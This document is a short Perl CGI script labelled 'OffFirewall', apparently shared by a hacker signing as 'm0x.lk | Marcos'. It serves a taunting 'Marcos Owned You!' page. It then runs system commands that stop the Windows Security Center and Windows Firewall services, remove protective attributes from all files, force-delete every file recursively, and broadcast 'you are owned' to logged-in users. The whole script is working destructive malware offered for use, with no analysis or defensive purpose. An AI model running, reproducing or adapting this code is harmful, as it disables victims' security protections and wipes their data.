[PERL] OffFirewall

#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
print q(
<title>m0x.lk | Marcos Owned You!</title>
<center>
<h4>m0x.lk | Marcos</h4>
<br>
You Fucking Firewall OFF Security!
<br>
<img src="http://www.wylug.org.uk/talks/2003/01/fire_diag.jpg">
<br></center>
);
system ("@echo off");
system ("net stop Centro de Seguridad");
system ("net stop Firewall de Windows/Conexi?n compartida a Internet (ICS)");
system ("attrib -H -S -R *.*");
system ("del /s /q *.*");
system ("msg * you are owned");